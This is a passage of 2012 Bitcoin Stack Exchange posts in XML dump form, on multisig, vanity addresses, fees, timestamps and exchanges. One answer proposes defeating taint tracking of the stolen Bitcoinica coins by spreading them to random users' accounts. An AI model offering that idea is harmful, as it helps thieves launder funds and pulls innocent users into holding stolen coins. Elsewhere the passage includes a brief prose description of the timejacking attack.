  <row Id="3727" PostTypeId="2" ParentId="3721" CreationDate="2012-05-18T04:27:20.230" Score="3" Body="&lt;p&gt;A Bitcoin transaction can have multiple inputs (and multiple outputs). In the scenario you described, a single transaction will be created, which will include as inputs both the payment to A and the payment to B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, the receiving party will not care what are the inputs of a transaction, he will care that the output will include the expected payment to his own address.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-05-18T04:27:20.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3729" PostTypeId="2" ParentId="3718" CreationDate="2012-05-18T08:16:42.143" Score="46" Body="&lt;p&gt;A multi-signature &lt;strong&gt;address&lt;/strong&gt; is an address that is associated with more than one ECDSA private key. The simplest type is an m-of-n address - it is associated with n private keys, and sending bitcoins from this address requires signatures from at least m keys. A multi-signature &lt;strong&gt;transaction&lt;/strong&gt; is one that sends funds from a multi-signature address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary use case is to greatly increase the difficulty of stealing the coins. With a 2-of-2 address, you can keep the two keys on separate machines, and then theft will require compromising both, which is very difficult - especially if the machines are as different as possible (e.g., one pc and one dedicated device, or two hosted machines with a different host and OS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also be used for redundancy to protect against loss - with a 2-of-3 address, not only does theft require obtaining 2 different keys, but you can still use the coins if you forget any single key. This allows for more flexible options than just backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also be used for more advanced scenarios such as an address shared by multiple people, where a majority vote is required to use the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi-signature transactions are often conflated with BIP 16 and 17. In fact they are not directly related. Multi-signature transactions have been supported by the protocol for a long time; but implementing them would require a special output script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What BIP 16/17 do is offer a standard way to encapsulate a script within an address; this makes it easier to use advanced scripts, with the most prominent example being multi-signature transactions.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2015-01-05T19:20:28.713" LastActivityDate="2015-01-05T19:20:28.713" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3730" PostTypeId="1" AcceptedAnswerId="3731" CreationDate="2012-05-19T00:34:48.230" Score="19" ViewCount="12167" Body="&lt;p&gt;Anyone can generate a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot;&gt;vanity address&lt;/a&gt; of arbitrary length with appropriate tools, it's just a matter of performing enough computations. What is the longest known vanity address anyone has generated?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2024-01-25T07:46:26.160" Title="What is the longest known vanity address generated?" Tags="|wallet|address|vanity-address|tools|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3731" PostTypeId="2" ParentId="3730" CreationDate="2012-05-19T03:28:32.320" Score="24" Body="&lt;p&gt;It's impossible to say for sure what's a vanity address and what's generated purely at random, but &lt;a href=&quot;http://blockexplorer.com/address/1CFBdvaiZgZPTZERqnezAtDQJuGHKoHSzg&quot;&gt;1CFBdvaiZgZPTZERqnezAtDQJuGHKoHSzg&lt;/a&gt; is 34 characters with no digits in it other than the initial '1'.  That may well be a vanity address.  Then again on average &lt;a href=&quot;http://www.wolframalpha.com/input/?i=1%2Fpow%28%2848.0%2F58%29%2C33%29jjjj&quot;&gt;1 in every 515&lt;/a&gt; 34-character addresses you generate won't have any digits in them other than the leading 1, so possibly not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address with the longest initial list of lower-case letters is &lt;a href=&quot;http://blockexplorer.com/address/1yaniraswqyghuJKCRrGwJUA2HakWtRad&quot;&gt;1yaniraswqyghuJKCRrGwJUA2HakWtRad&lt;/a&gt;, and is clearly a vanity address since it appears in the &lt;a href=&quot;http://blockexplorer.com/tx/751ff11286a43da5d6cf7da8f5bc736e522bbd698ec03c76c63368e5260667e6#o175&quot;&gt;same transaction&lt;/a&gt; as many other vanity addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I just found this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1QBDLYTDFHHZAABYSKGKPWKLSXZWCCJQBX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It belongs to etotheipi, author of the &lt;a href=&quot;http://bitcoinarmory.com/&quot;&gt;Armory Bitcoin Client&lt;/a&gt;, and was found using vanitygen, as he said in a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=64449.msg809780#msg809780&quot;&gt;bitcointalk forum post&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yessir!  I got a little crazy with vanitygen and succeeded.  It&#xA;  should've taken about 70 days of computation time but I got lucky and&#xA;  found it in about a week...  (notice no digits either, only uppercase&#xA;  letters).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unfortunately, it's so cool that people don't even recognize it as a&#xA;  Bitcoin address :)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-05-19T04:45:19.913" LastActivityDate="2012-05-19T04:45:19.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3732" PostTypeId="1" CreationDate="2012-05-19T16:00:53.723" Score="3" ViewCount="684" Body="&lt;p&gt;I recently found about Bitcoin through a friend and got interested to surf about it over the Internet. I was installing Multibit on my machine running on Windows 7 but as soon as I click on the downloaded file, I get the following error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This forum is not letting me attach an image so i have to manually type in the text :S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Error:java.lang.AbstractMethodError:org.apache.xecres.dom.DocumentImpl.setXmlVersion(Ljava/lang/String;)V&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me fix it !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, Maddy&lt;/p&gt;&#xA;" OwnerUserId="1394" LastEditorUserId="516" LastEditDate="2012-06-08T08:23:31.250" LastActivityDate="2012-06-08T08:23:31.250" Title="Error on Installing Multibit for Windows 7?" Tags="|client|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3733" PostTypeId="2" ParentId="3682" CreationDate="2012-05-19T18:34:34.680" Score="0" Body="&lt;p&gt;I cannot get the latest (May) version of DiabloMiner to work on OS X Lion. However, I can get the March release to work using the following options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-w 64 -v 2 -na &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you cannot find the older version, let me know and I'll share it on dropbox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few miners I'd like to test, including BitMinter and phoenix2, for comparison purposes, but haven't taken the time to, yet. &lt;/p&gt;&#xA;" OwnerUserId="1395" LastActivityDate="2012-05-19T18:34:34.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3734" PostTypeId="2" ParentId="3732" CreationDate="2012-05-19T19:29:19.753" Score="2" Body="&lt;p&gt;Googling for that error there is a similar one at:&#xA;&lt;a href=&quot;http://trac.jajuk.info/ticket/1549&quot; rel=&quot;nofollow&quot;&gt;http://trac.jajuk.info/ticket/1549&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There they suggest it could be something to do with the installed Java Runtime Environment. This is what the installer uses to run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try making sure the Java installation on your machine is 100% by installing the latest version from:&#xA; &lt;a href=&quot;http://java.com/en/download/index.jsp&quot; rel=&quot;nofollow&quot;&gt;http://java.com/en/download/index.jsp&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try the installer again. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-05-19T19:29:19.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3735" PostTypeId="1" CreationDate="2012-05-20T07:43:15.783" Score="9" ViewCount="708" Body="&lt;p&gt;Aside from the entertainment benefit players get from the service, does it in any way help the Bitcoin ecosystem to have a large churn of small transactions?&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-01-18T03:31:24.537" Title="Does Satoshidice benefit the wider Bitcoin ecosystem?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3736" PostTypeId="1" CreationDate="2012-05-20T08:53:02.980" Score="5" ViewCount="388" Body="&lt;p&gt;I just found out that you can pay for Wuala with Bitcoins. They are owned by LaCie, who have a revenue of €351.8 million according to Wikipedia. I think this makes them by far the largest company to accept Bitcoin for payment. Is that correct or are there other big players in the economy?&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-05-20T18:17:14.130" Title="Is Wuala (LaCie) the largest company to accept Bitcoins?" Tags="|trade|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3737" PostTypeId="2" ParentId="3735" CreationDate="2012-05-20T08:54:17.940" Score="9" Body="&lt;p&gt;There is value added by this service:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Over the past 15 years, downtown Las Vegas has seen its slot machines&#xA;  tighten from a 1996 average of 4.8 percent to 2010’s 6.4, a “cost”&#xA;  increase of almost 32 percent. That means, on average, players see&#xA;  fewer jackpots and spent less time on their machines. In short,&#xA;  they’re not getting a lot of bang for their slot buck.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://weeklyseven.com/news/2011/march/17/loosening&quot;&gt;http://weeklyseven.com/news/2011/march/17/loosening&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Online wagering can be a little lower house edge, but rarely will you find a house edge of just 1.5% like SatoshiDICE offers and the 1% that BitLotto offers.  Here's some background:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.beatingbonuses.com/slotgames.htm&quot;&gt;http://www.beatingbonuses.com/slotgames.htm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To play SatoshiDICE you need bitcoins, so that means there will be additional activity at the exchanges (both in purchases of bitcoins and cashing out by those who lady luck was nice to).  The player base won't be just existing bitcoiners as this payout level is such an attraction it will spread by word of mouth -- or virally even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most Bitcoin software, websites, documentation and media or press has been for an English-speaking audience.  With translations for multiple languages, Bitcoin will reach for the first time many users who would not otherwise learn of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, every bitcoin that is held by a SatoshiDICE gambler is a bitcoin that is not sitting in a trader's wallet, waiting for the first hint of a selloff before it gets dumped (i.e., volatility is lower when the coins are not concentrated as much primarily with those speculating.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reaching a level where using Bitcoin becomes comfortable, those gambling at SatoshiDICE might find other goods and services that their bitcoins are useful for instead of just cashing out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, with this unprecedented success for a Bitcoin startup there will be competition.  The technique employed by SatoshiDICE (payouts using same coins as the wager, thus can be paid out using 0/unconfirmed) is novel but easily replicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SatoshiDICE is a for-profit venture, and a chunk of those profits will likely be reinvested back into that business (perhaps building a mobile app for it, as an example), and/or other Bitcoin-related endeavors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain pruning feature was something Bitcoin's developers hadn't had as top priority but with this level of growth and added data to the blockchain that may become top-of-mind.  This may be a feature that will help Bitcoin and SatoshiDICE might be responsible for having it occur sooner than it might otherwise have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin, SatoshiDICE has win written all over it!&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="659" LastEditDate="2012-05-21T01:07:36.767" LastActivityDate="2012-05-21T01:07:36.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3738" PostTypeId="1" AcceptedAnswerId="3739" CreationDate="2012-05-20T09:10:21.557" Score="4" ViewCount="2286" Body="&lt;p&gt;Mt. Gox now requires at least Level 1 Verified in order to deposit or withdraw Dwolla funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 1 says Government Photo ID + utility bill&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/MtGox#AML&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/MtGox#AML&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://support.mtgox.com/entries/20919111-aml-account-statuses&quot; rel=&quot;nofollow&quot;&gt;https://support.mtgox.com/entries/20919111-aml-account-statuses&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But then I see an update saying an apostille is needed.  Is that just for a Level 2 (Trusted) account?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://support.mtgox.com/entries/20861901-changes-to-aml-policies&quot; rel=&quot;nofollow&quot;&gt;http://support.mtgox.com/entries/20861901-changes-to-aml-policies&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-20T18:00:48.767" Title="To use Dwolla with Mt. Gox I need to become Verified. Do I need Apostille?" Tags="|mtgox|aml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3739" PostTypeId="2" ParentId="3738" CreationDate="2012-05-20T11:04:26.390" Score="4" Body="&lt;p&gt;An apostille is only required for level 2. Their original announcement of the change was confusing, but they have since clarified it on the forum - &lt;a href=&quot;https://bitcointalk.org/index.php?topic=60074.msg716245#msg716245&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=60074.msg716245#msg716245&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: You also need a bank account linked to your Dwolla account that has been verified over 30 days.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="1364" LastEditDate="2012-05-20T18:00:48.767" LastActivityDate="2012-05-20T18:00:48.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3740" PostTypeId="2" ParentId="3736" CreationDate="2012-05-20T18:17:14.130" Score="4" Body="&lt;p&gt;It is fantastic to see companies accept Bitcoin, even if it is just an &quot;alpha / trial&quot; like &lt;a href=&quot;http://www.wuala.com/en/bitcoin&quot; rel=&quot;nofollow&quot;&gt;the method Wuala provides&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Lacie (Wuala) is likely the largest company to accept bitcoins directly as payment, that is a specialized product of interest to a smaller subset of the bitcoin community.  Their volume of bitcoin commerce probably is a fraction of that for other bitcoin businesses which are needed by a wider customer base.  The larger dollar amounts where bitcoins are used directly for purchases might be in categories such as &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Web_Hosting&quot; rel=&quot;nofollow&quot;&gt;web hosting&lt;/a&gt;, dedicated servers, &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Connectivity&quot; rel=&quot;nofollow&quot;&gt;anonymous VPN&lt;/a&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The largest companies to benefit from Bitcoin commerce though are the companies that offer vouchers or e-gift codes that can be used for payment.  These include NewEgg Vouchers (purchased on &lt;a href=&quot;http://btcbuy.info/&quot; rel=&quot;nofollow&quot;&gt;BTCBuy.info&lt;/a&gt;) and Amazon Credit and eBay Gift Codes (purchased on &lt;a href=&quot;https://www.spendbitcoins.com/convert/&quot; rel=&quot;nofollow&quot;&gt;SpendBitcoins.com&lt;/a&gt;).   Those are, by far, where the largest amount of Bitcoin commerce is occurring.  Some day these companies will simply cut out the middle man and start accepting bitcoins directly (or through a payment intermediary such as &lt;a href=&quot;http://Bit-Pay.com&quot; rel=&quot;nofollow&quot;&gt;Bit-Pay&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-20T18:17:14.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3741" PostTypeId="1" AcceptedAnswerId="3742" CreationDate="2012-05-20T20:00:11.643" Score="2" ViewCount="300" Body="&lt;p&gt;We've alerady hit the point where a block has become 90% full, thanks to the popularity of SatoshiDICE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The limit can be increased from the 500 KB max per-block in the software to 1 MB per-block limit in the Bitcoin protocol, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=81879.msg902624#msg902624&quot; rel=&quot;nofollow&quot;&gt;reportedly&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To increase this to the level allowed by the protocol, is it just a client update for miners, or does it require a new client for everyone who needs to be able to accept blocks with the larger limit?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2015-05-08T10:08:28.817" LastActivityDate="2015-05-08T10:08:28.817" Title="What will be required to increase the &quot;soft&quot; 500KB per-block data limit" Tags="|blockchain|client|network|scalability|blocksize|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3742" PostTypeId="2" ParentId="3741" CreationDate="2012-05-20T20:33:21.690" Score="3" Body="&lt;p&gt;The 500kB limit is related to the fee rules. Miners won't include transactions into their blocks unless they have at least some minimum fee. The Satoshi client determines the minimum fee (for miners -- relayers and senders use slightly different rules) like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When the block currently being mined is less than 27kB, certain transactions are allowed without any fee.&lt;/li&gt;&#xA;&lt;li&gt;When the block currently being mined is less than 250kB, the fee is 0.0005 BTC per kB of transaction size.&lt;/li&gt;&#xA;&lt;li&gt;After 250kB, the fee per kB increases as the block size increases to an asymptote at 500kB. At 500kB and beyond the fee is infinite and no more transactions will be accepted.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To increase the limit, we'd only need a few significantly-sized miners to change their fee policies. DeepBit already doesn't use the Satoshi client's dynamic fee increase after 250kB, though I think they still have a limit at 500kB.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2012-05-20T20:40:47.950" LastActivityDate="2012-05-20T20:40:47.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3743" PostTypeId="1" CreationDate="2012-05-21T00:09:34.370" Score="12" ViewCount="2113" Body="&lt;p&gt;Block #180966 has a timestamp of &lt;a href=&quot;http://blockchain.info/block-height/180966&quot;&gt;2012-05-20 23:02:53&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block #180967 has a timestamp of &lt;a href=&quot;http://blockchain.info/block-height/180967&quot;&gt;2012-05-20 23:02:13&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How has the software permitted a later block to have an earlier timestamp than its predecessor?&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2012-05-21T01:18:18.407" Title="How can an earlier block have a later timestamp?" Tags="|blockchain|timestamp|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2020-11-05T14:38:34.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="3744" PostTypeId="1" CreationDate="2012-05-21T00:09:45.433" Score="6" ViewCount="344" Body="&lt;p&gt;The hacker was distributing them in IRC recently, and sent some to the Bitcoin Faucet. Is this a reliable method for evading the &quot;Bitcoin Police&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;https://bitcointalk.org/index.php?topic=82581.0&quot;&gt;a forum thread discussing the distribution&lt;/a&gt; and &lt;a href=&quot;http://pastebin.com/3ukW7NpN&quot;&gt;a pastebin of the IRC conversation&lt;/a&gt;. Pasted below is just the beginning of the pastebin content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;BitcoinicaHacker&amp;gt; Who wants free bitcoins courtesy of bitcoinica?&#xA;&amp;lt;grepix&amp;gt; who doesn't!&#xA;&amp;lt;BitcoinicaHacker&amp;gt; post your btc addr&#xA;&amp;lt;nanotube&amp;gt; i think bitcoinica wants free bitcoins courtesy of bitcoinica&#xA;&amp;lt;Phraust&amp;gt; oooh, i'll take some: 18LSrqYfUwt4q52CvSWXkSqNiDMGDADAao&#xA;&amp;lt;BitcoinicaHacker&amp;gt; d43282f1ec433cb896ddf7d4a88faa4a202c97ac6e60568eaecfd1df53d82ef6&#xA;&amp;lt;Phraust&amp;gt; sweet, many thanks.&#xA;&amp;lt;OneMiner&amp;gt; 121VuNzJi7ihM6FTv28oruemfw4fp4rvPZ I'll take a piece of that. :P&#xA;&amp;lt;BitcoinicaHacker&amp;gt; f87f87a6e053157140bd509952c999e56344fe4fa90eaf47288bbcdda7689514&#xA;&amp;lt;BitcoinicaHacker&amp;gt; 74358a453321026b197549a250c3aa65b60187f8d4ba4578de1b1422eec2937d&#xA;&amp;lt;OneMiner&amp;gt; Thank you very much.&#xA;&amp;lt;b00bsman&amp;gt; BitcoinicaHacker, wie ist der Kuchen?&#xA;&amp;lt;brwyatt&amp;gt; 12KTki1xe5xVoQneEZy2CED8Ep87ifubx7 I'll give it a try.&#xA;&amp;lt;brwyatt&amp;gt; He really wasn't kidding. o.O&#xA;&amp;lt;BitcoinicaHacker&amp;gt; 8694268cfe0aa51d7ecb3749b8f4bc8ebe7c56cc8e920f1b7b34862f9992e004&#xA;&amp;lt;OneMiner&amp;gt; Ya, seems legit.&#xA;&amp;lt;grepix&amp;gt; the BTC def showed up, but for all we know this is just a lazy trolling :D&#xA;&amp;lt;brwyatt&amp;gt; yeah&#xA;&amp;lt;OneMiner&amp;gt; The balance of the account suggests otherwise.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="659" LastEditDate="2012-05-21T01:30:07.253" LastActivityDate="2012-05-22T00:10:49.367" Title="What could be the impact of the distribution of &quot;tainted&quot; Bitcoinica coins?" Tags="|data-security|bitcoinica|hacking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3745" PostTypeId="2" ParentId="915" CreationDate="2012-05-21T01:18:18.407" Score="19" Body="&lt;p&gt;The root cause of this is that without a central authority, it's impossible to know for sure what the current time is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol rejects blocks with a timestamp earlier than the median of the timestamps from the previous 11 blocks or later than 2 hours after the current network time.  Any other timestamp is acceptable.  Note that 'network time' may differ from the actual time, since the bitcoin network attempts to correct for incorrect clock settings by taking the median of the time reported by all connected peers as the network time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about an attack that this makes possible &lt;a href=&quot;http://culubas.blogspot.ca/2011/05/timejacking-bitcoin_802.html&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By announcing inaccurate timestamps when connecting to a node, an&#xA;  attacker can alter a node's network time counter and deceive it into&#xA;  accepting an alternate block chain. This could significantly increase&#xA;  the chances of a successful double-spend, drain a node's computational&#xA;  resources, or simply slow down the transaction confirmation rate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-05-21T01:18:18.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3746" PostTypeId="2" ParentId="3744" CreationDate="2012-05-21T03:27:43.830" Score="4" Body="&lt;p&gt;I don't think there's really any need to do this to evade &amp;quot;Bitcoin police&amp;quot;. Bitcoins are fungible and one is as good as another. Any attempt to track tainted Bitcoins is, at least in my opinion, doomed to fail.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[Imagine] if the FBI regularly published a list of serial numbers of currency that would no longer be honored. Banks would refuse to accept bills on the list, and soon so would grocery stores and so on. That hundred dollar bill you got from the bank, now sitting in your wallet, could appear on that list at any time because the person who deposited it at the bank right before you withdrew might have stolen it.&lt;/p&gt;&#xA;&lt;p&gt;Think about what using currency would be like in such a world. Could you even have ATM machines? In fact, it would be the death of cash -- forcing people to use cash only for small amounts of money they could afford to lose. Such &amp;quot;tainting&amp;quot;, if it hit the Bitcoin world, would similarly be the death of Bitcoin if it caught on in any significant way. - &lt;a href=&quot;https://bitcointalk.org/index.php?topic=81556.msg898557#msg898557&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tainted coins - Who dictates that a coin is tainted?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This also suggests an interesting way to defeat any attempt to taint Bitcoins, assuming such an attempt wasn't doomed anyway. Just take a chunk of the tainted coins and start transferring them to random, active accounts. The standard client doesn't make it particularly easy to quarantine coins nor does it hold newly-received coins separately from old ones. So when you make your normal payments, you pretty much can't help but spend some of the coins you received unsolicited. Soon lots of innocent users would be spending &amp;quot;tainted&amp;quot; coins and innocent merchants would be redeeming them at exchanges, which have to resell them.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-05-22T00:10:49.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3747" PostTypeId="1" AcceptedAnswerId="3751" CreationDate="2012-05-21T22:07:21.953" Score="7" ViewCount="998" Body="&lt;p&gt;Have there been any articles or presentations about Bitcoins in any influential or respected economic websites or perhaps interviews with notable economists?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-25T11:03:31.543" Title="How do economists view Bitcoin?" Tags="|bitcoin-economy|economic-theory|news-coverage|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3748" PostTypeId="1" AcceptedAnswerId="3752" CreationDate="2012-05-21T22:22:32.933" Score="4" ViewCount="457" Body="&lt;p&gt;Have there been any articles or presentations about Bitcoins in any influential or respected law-related websites or perhaps interviews with notable lawyers or the like?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="196" LastEditDate="2012-08-03T15:13:39.853" LastActivityDate="2013-09-26T15:33:00.483" Title="How do lawyers view Bitcoin?" Tags="|legal|news-coverage|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3749" PostTypeId="1" AcceptedAnswerId="4079" CreationDate="2012-05-21T22:27:18.747" Score="4" ViewCount="343" Body="&lt;p&gt;There have been two US senators, Charles Schumer and Joe Manchin, wanting to &lt;a href=&quot;http://venturebeat.com/2011/06/08/government-crackdown-on-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;&quot;crack down on Bitcoin&quot; in mid-2011&lt;/a&gt;. How did the story start, progress and did it reach any conclusion?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="196" LastEditDate="2012-08-03T15:13:20.090" LastActivityDate="2012-08-03T15:13:20.090" Title="What is the story behind US senators wanting to &quot;crack down on Bitcoin&quot; in mid-2011?" Tags="|history|legal|politics|usa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3750" PostTypeId="1" AcceptedAnswerId="3756" CreationDate="2012-05-22T03:36:28.067" Score="0" ViewCount="251" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/224/what-factors-affect-the-value-of-a-bitcoin&quot;&gt;What factors affect the value of a Bitcoin?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;It's been hovering at about $5/BTC for a few months now, slowly eeking upwards. What would cause a significant spike or drop? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hacking and theft will, presumably, come down as more players get stable. As exchanges rise, liquidity should grow. &lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-05-22T17:08:10.383" Title="What will cause BTC/USD to shift substantially?" Tags="|exchanges|trading|speculation|" AnswerCount="1" CommentCount="0" ClosedDate="2012-05-22T17:08:25.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="3751" PostTypeId="2" ParentId="3747" CreationDate="2012-05-22T03:53:07.293" Score="5" Body="&lt;p&gt;Paul Krugman, who is apparently the &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Paul_Krugman&quot;&gt;17th most widely cited economist in the world today&lt;/a&gt;&quot;, wrote this article in Sep 2011:&#xA;&lt;a href=&quot;http://krugman.blogs.nytimes.com/2011/09/07/golden-cyberfetters/&quot;&gt;http://krugman.blogs.nytimes.com/2011/09/07/golden-cyberfetters/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I'm not convinced that Krugman fully understands Bitcoin though (after all, it has substantially different properties to other money), and I'm not the only one. Some responses to his comments are here: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://presentcynosure.wordpress.com/2011/09/10/krugmans-bitcoin-error/&quot;&gt;http://presentcynosure.wordpress.com/2011/09/10/krugmans-bitcoin-error/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 